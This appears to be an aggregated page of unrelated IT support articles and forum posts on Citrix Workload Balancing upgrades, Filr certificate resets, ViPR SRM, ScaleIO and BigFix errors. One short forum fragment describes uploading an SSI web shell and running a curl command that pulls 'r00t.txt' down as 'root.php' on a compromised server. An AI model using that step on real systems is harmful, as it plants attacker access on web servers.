Upgrading Workload Balancing with Internet Access

Upgrading with the Internet requires that you download GNU wget, an HTTP retrieval utility. You also need to download a Python script that configures a repository (add-repo.py) on your virtual appliance.

To upgrade Workload Balancing in environments with Internet access

1. If you have not done so already, log in to the Workload Balancing appliance you want to upgrade as described in Section 8.1.1, “Logging in to the Workload Balancing Virtual Appliance”

2. Install GNU wget so you can retrieve the upgrade repository installation script using HTTP:

a. From the bash prompt, run the following command:

yum install wget

b. During installation, wget Setup asks you to accept various prompts, such as the size of the download package and the CentOS key. Type y when prompted.

3. When the wget installation is complete, download “add-repo” script by running the following command:

wget http://updates.xensource.com/XenServer/WLB/6.5/add-repo.py

When this command finishes running, a message appears stating the ‘add-repo.py’ script is saved.

4. At the bash prompt, run the following command to create the upgrade repository on the Workload Balancing appliance:

python add-repo.py

After the script finishes, the output states “Done.”

5. Do one of the following to upgrade your Workload Balancing virtual appliance:

• To upgrade both CentOS and Workload Balancing, run:

yum update

• To upgrade Workload Balancing only, run:

yum update citrix-wlb

• To upgrade CentOS only, run:

yum update –disablerepo=citrix-wlb

6. After upgrading either CentOS or Workload Balancing or both, restart the Workload Balancing virtual appliance.

Note:

After upgrading CentOS, the operating-system time changes from Coordinated Universal Time (UTC) to the local time zone. One side effect of this change is that the timestamps in the Workload Balancing log file (LogFile.log) also change from UTC time to local time. If you want to change the system time back to UTC time, run the following command in the Workload Balancing virtual appliance: rm -rf /etc/localtime.

Related:

7023345: Locked out of Filr Management Web UI due to certificate problems.

This document (7023345) is provided subject to the disclaimer at the end of this document.

Environment

Micro Focus Filr

Situation

None of the https (Secure HTTP) pages can load from the Filr server due to a problem with the certificate.
This scenario creates a problem because the solution is to manage the certificates, but the tool to manage the certificates (HTTPS port 9443) is inaccessible until the certificate problem is resolved.

Resolution

Reset the Filr certificate to a new Self-Signed Certificate using the CLI.

Paste the following string of commands in a terminal session (putty or other tool):

rcfilr stop;rcnovell-jetty stop;mv /vastorage/conf/certs/keystore /vastorage/conf/certs/keystore-backup;mv /vastorage/conf/certs/keystore.db /vastorage/conf/certs/keystore.backup;wget -P /tmp https://support.novell.com/Platform/Publishing/images/va_firstboot_setupCerts.sh;chmod +x /tmp/va_firstboot_setupCerts.sh;/tmp/va_firstboot_setupCerts.sh;rcnovell-jetty start;rcfilr start

Note: If you cannot SSH to the server, run the following command at the terminal through a VMware tool:

rcsshd start

If you want a 3rd party certificate applied to the server, you can configure that after running the above string of commands. When configuring that, keep the self-signed_cert configuration within the Digital Certificates -> Web Application Certificates tool. Be sure to set the new 3rd party certificate as Active.

Cause

This problem could be the result of either:

  1. Uploaded a new certificate and rebooted the server prior to setting it as Active.
  2. The server powered up after a power outage. Secure Connection Failed is returned when attempting to load Secure HTTP pages.
  3. Some other problems with certificates.

Disclaimer

This Support Knowledgebase provides a valuable tool for NetIQ/Novell/SUSE customers and parties interested in our products and solutions to acquire information, ideas and learn from one another. Materials are provided for informational, personal or non-commercial use within your organization and are presented “AS IS” WITHOUT WARRANTY OF ANY KIND.

Related:

  • No Related Posts

VIPR SRM 4.0 Report Library>>VMware vCenter>>Performance Does not Generate a Report.

Article Number: 492619 Article Version: 2 Article Type: Break Fix



ViPR SRM 4.0

The Performance Report under Report Library >> VMware vCenter does not generate the Reports. There are no errors indicated from

the VMware Collecting Logs.

SCH


The following Test Verification completed Successfully:

1. SSH into one of the ViPR and run the command and provide the output:

wget https://<FQDN or IP Address>/sdk/vimService

Example: wget https://abc123.emc.com/sdk/vimService

2. Web Browser can you https://FQDN:443/MOB and log into the username/password.

Example: https://abc123.emc.com:443/MOB

3. Able to telnet to the IP Address or FQDN of the VCenter on Port 443 from the ViPR node, example telnet 192.168.1.123 443 and ping VCenter.

In Order to get the Performance Report to Generate: The “Metrics Collection Level” needs to be Set to “Collect-Level 3 from SolutionPack Reconfiguration under “Do you want to configure advanced settings”

Solutions Pack >> Infrastructure>> VMware VCenter and Select the pencil for Data Collection.

SCH1

Related:

ScaleIO scini driver sync repo deleted?

It seems that the installation of the scaleio sdc service is failing because the ftp service where the drivers reside is empty

driver_sync.sh START – Tue May1 00:46:52 GMT 2018

/usr/bin/sftp

Error (sftp): File /bin/emc/scaleio/scini_sync/scini_key must exist.

driver_sync.sh END – Tue May1 00:46:53 GMT 2018

driver_sync.sh START – Tue May1 00:46:54 GMT 2018

/usr/bin/wget

Retrieving Ubuntu/2.5.0.254/4.4.0-119-generic/scini.tar …

No such directory ‘///Ubuntu/2.5.0.254/4.4.0-119-generic’.

This was previously working fine, was the ftp server unintentionally wiped out, or is there a new repo?

Cheers

Related:

how to bypass Internal Server Error

after i bypass this error message the server encountered an internal error or misconfiguration and was unable to complete your request. i find that i have another mistake when i upload the SSI web shell and run my command curl http://www.test.com/upload/r00t.txt -o root.php wget …

Related:

Unable to register BigFix Agent , finding an network ,please advice General transport failure. – SOCKET RECEIVE (winsock error 4294967286 – registration url

Hi Team,
We are unable to register or run the Big Fix client , please find the below error we are getting in Agent logs .
When referred IBM technote , we have found below error codes Can you please suggest a fix of it ?

-10 err_SOCKET_RECEIVE A connection was made to the BES Server/BES Relay, but an error occurred when receiving data

RegisterOnce: GetURL failed – General transport failure. – SOCKET RECEIVE (winsock error 4294967286 – registration url – http://hostname:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=RegisterMe&ClientVersion=9.5.2.56&Body=0&SequenceNumber=18&MinRelayVersion=7.1.1.0&CanHandleMVPings=1&Root=http://hostname%3a52311&AdapterInfo=00-50-56-8d-3b-be_10.241.32.0%2f23_10.241.32.59_0
At 03:32:03 -0600 –
RegisterOnce: Attempting secure registration with ‘https://hostname:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=RegisterMe&ClientVersion=9.5.2.56&Body=0&SequenceNumber=19&MinRelayVersion=7.1.1.0&CanHandleMVPings=1&Root=http://hostname%3a52311&AdapterInfo=00-50-56-8d-3b-be_10.241.32.0%2f23_10.241.32.59_0’
Registration backing off from SSL, attempting in clear text
RegisterOnce: GetURL failed – General transport failure. – SOCKET RECEIVE (winsock error 4294967286 – registration url – http://hostname:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=RegisterMe&ClientVersion=9.5.2.56&Body=0&SequenceNumber=19&MinRelayVersion=7.1.1.0&CanHandleMVPings=1&Root=http://hostname%3a52311&AdapterInfo=00-50-56-8d-3b-be_10.241.32.0%2f23_10.241.32.59_0
At 03:34:11 -0600 –
Beginning Relay Select
At 03:34:12 -0600 –
RegisterOnce: Attempting secure registration with ‘https://hostname:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=RegisterMe&ClientVersion=9.5.2.56&Body=0&SequenceNumber=20&MinRelayVersion=7.1.1.0&CanHandleMVPings=1&Root=http://hostname%3a52311&AdapterInfo=00-50-56-8d-3b-be_10.241.32.0%2f23_10.241.32.59_0’
Registration backing off from SSL, attempting in clear text
RegisterOnce: GetURL failed – General transport failure. – SOCKET RECEIVE (winsock error 4294967286 – registration url – http://hostname:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=RegisterMe&ClientVersion=9.5.2.56&Body=0&SequenceNumber=20&MinRelayVersion=7.1.1.0&CanHandleMVPings=1&Root=http://hostname%3a52311&AdapterInfo=00-50-56-8d-3b-be_10.241.32.0%2f23_10.241.32.59_0

Just an info please, we have enabled application ports (9081,80,52311) from the Agent systems to ILMT server
Many Thanks !

Related: